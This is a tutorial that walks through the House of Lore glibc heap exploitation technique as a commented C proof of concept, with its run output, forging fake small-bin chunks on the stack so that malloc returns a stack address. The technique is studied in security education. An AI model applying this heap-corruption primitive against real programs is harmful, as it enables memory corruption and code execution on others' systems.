House of Lore

This is just a well documented C file explaining how a house of Lore attack works. It was ran on Ubuntu 16.04 with libc version libc-2.23.so. Also this is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_lore.c

Code:

// This is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_lore.c

#include <stdio.h>
#include <stdlib.h>

int main(void)
{

  puts("So let's cover House of Lore.");
  puts("House of Lore focuses on attacking the small bin to allocate a chunk outside of the heap.");
  puts("We will essentially create two fake small bin chunks, then overwrite the bk pointer of the small bin chunk to point to the first chunk.");
  puts("Then just allocate chunks until we get a fake chunk.");
  puts("It's sort of like a fast bin attack, however with more setup and restrictions.");
  puts("Let's get started.\n\n");




  printf("We will start off by grooming the heap so we can do House of Lore.\n");
  printf("For that we will need a chunk in the small bin that we can edit with some sort of bug.\n");
  printf("For this we will allocate a small bin size chunk (by default on x64 it is greater than 0x80 and less than 0x400).\n\n");

  unsigned long *ptr0;
  ptr0 = malloc(0x200);

  printf("Allocated chunk at:\t%p\n\n", ptr0);

  printf("Next we will allocate another chunk, just to avoid consolidating our ptr0 chunk with the top chunk.\n\n");

  malloc(0x40);

  printf("Next up we will insert our first heap chunk into the unsorted bin by freeing it.\n\n");

  free(ptr0);

  printf("Now we will insert our unsorted bin chunk into the small bin by allocating a heap chunk big enough that it can't come out of the unsorted bin.\n");

  malloc(0x500);




  printf("Now that we have a chunk in the small bin, we can move on to forging the fake chunks.\n\n");

  printf("The small bin is a doubly linked list, with a fwd and bk pointer.\n");
  printf("The chunk that we allocate outside of the heap needs to have a fwd and bk pointer to chunks that their opposite pointers point back to them.\n");
  printf("Due to checks made by malloc the fwd chunk's bk pointer needs to point to the chunk outside of the heap we will allocate with malloc, and vice versa.\n");
  printf("So in total we will need three chunks, one of which is our small bin chunk, and the other two will be on the stack.\n");
  printf("Our goal is to get malloc to allocate fake chunk 0 (it will be at an offset of 0x10 from the start).\n\n");

  unsigned long fake0[4];
  unsigned long fake1[4];

  printf("Fake Chunk 0:\t%p\n", fake0);
  printf("Fake Chunk 1:\t%p\n\n", fake1);

  printf("Now we will write the pointers that will link our two fake chunks on the stack.\n");
  printf("The bk pointer for fake chunk 0 will point to fake chunk 1.\n");
  printf("The fwd pointer for fake chunk 1 will point to fake chunk 0.\n");
  printf("This is because if a chunk is allocated from the small bin, the next chunk will be the bk chunk.\n");
  printf("Also keep in mind, these pointers are to the start of the heap metadata.\n\n");

  fake0[3] = (unsigned long)fake1;
  fake1[2] = (unsigned long)fake0;

  printf("Now we will write the two pointers that will link together fake chunk 0 and our small bin chunk.\n");
  printf("This is also where our bug comes in to edit a freed small bin chunk.\n");
  printf("We will use the bug to overwrite the bk pointer for the small bin chunk to point to point to fake chunk 0.\n");
  printf("Then we will overwrite the fwd chunk of the fake chunk 0 to point to the small bin chunk.\n\n");

  ptr0[1]  = (unsigned long)fake0;
  fake0[2] = (unsigned long)((unsigned long *)ptr0 - 2);

  printf("small bin bk:\t\t0x%lx\n", ptr0[1]);
  printf("fake chunk 0 fwd:\t0x%lx\n", fake0[2]);
  printf("fake chunk 0 bk:\t0x%lx\n", fake0[3]);
  printf("fake chunk 1 fwd:\t0x%lx\n\n", fake1[2]);




  printf("Now that our setup is out of the way, let's have malloc allocate fake chunk 0.\n");
  printf("We will allocate a heap chunk equal to the size of our small bin chunk.\n");
  printf("This will allocate our small bin chunk, and move our fake chunk to the top of the small bin.\n");
  printf("Then with another allocation we will get our fake chunk from malloc.\n\n");

  printf("Allocation 0:\t%p\n", malloc(0x200));
  printf("Allocation 1:\t%p\n", malloc(0x200));

  printf("\nJust like that, we executed a House of Lore attack!\n");
}

Running it:

$ ./house_of_lore 
So let's cover House of Lore.
House of Lore focuses on attacking the small bin to allocate a chunk outside of the heap.
We will essentially create two fake small bin chunks, then overwrite the bk pointer of the small bin chunk to point to the first chunk.
Then just allocate chunks until we get a fake chunk.
It's sort of like a fast bin attack, however with more setup and restrictions.
Let's get started.


We will start off by grooming the heap so we can do House of Lore.
For that we will need a chunk in the small bin that we can edit with some sort of bug.
For this we will allocate a small bin size chunk (by default on x64 it is greater than 0x80 and less than 0x400).

Allocated chunk at: 0x152e420

Next we will allocate another chunk, just to avoid consolidating our ptr0 chunk with the top chunk.

Next up we will insert our first heap chunk into the unsorted bin by freeing it.

Now we will insert our unsorted bin chunk into the small bin by allocating a heap chunk big enough that it can't come out of the unsorted bin.
Now that we have a chunk in the small bin, we can move on to forging the fake chunks.

The small bin is a doubly linked list, with a fwd and bk pointer.
The chunk that we allocate outside of the heap needs to have a fwd and bk pointer to chunks that their opposite pointers point back to them.
Due to checks made by malloc the fwd chunk's bk pointer needs to point to the chunk outside of the heap we will allocate with malloc, and vice versa.
So in total we will need three chunks, one of which is our small bin chunk, and the other two will be on the stack.
Our goal is to get malloc to allocate fake chunk 0 (it will be at an offset of 0x10 from the start).

Fake Chunk 0: 0x7ffd876fd210
Fake Chunk 1: 0x7ffd876fd230

Now we will write the pointers that will link our two fake chunks on the stack.
The bk pointer for fake chunk 0 will point to fake chunk 1.
The fwd pointer for fake chunk 1 will point to fake chunk 0.
This is because if a chunk is allocated from the small bin, the next chunk will be the bk chunk.
Also keep in mind, these pointers are to the start of the heap metadata.

Now we will write the two pointers that will link together fake chunk 0 and our small bin chunk.
This is also where our bug comes in to edit a freed small bin chunk.
We will use the bug to overwrite the bk pointer for the small bin chunk to point to point to fake chunk 0.
Then we will overwrite the fwd chunk of the fake chunk 0 to point to the small bin chunk.

small bin bk:   0x7ffd876fd210
fake chunk 0 fwd: 0x152e410
fake chunk 0 bk:  0x7ffd876fd230
fake chunk 1 fwd: 0x7ffd876fd210

Now that our setup is out of the way, let's have malloc allocate fake chunk 0.
We will allocate a heap chunk equal to the size of our small bin chunk.
This will allocate our small bin chunk, and move our fake chunk to the top of the small bin.
Then with another allocation we will get our fake chunk from malloc.

Allocation 0: 0x152e420
Allocation 1: 0x7ffd876fd220

Just like that, we executed a House of Lore attack!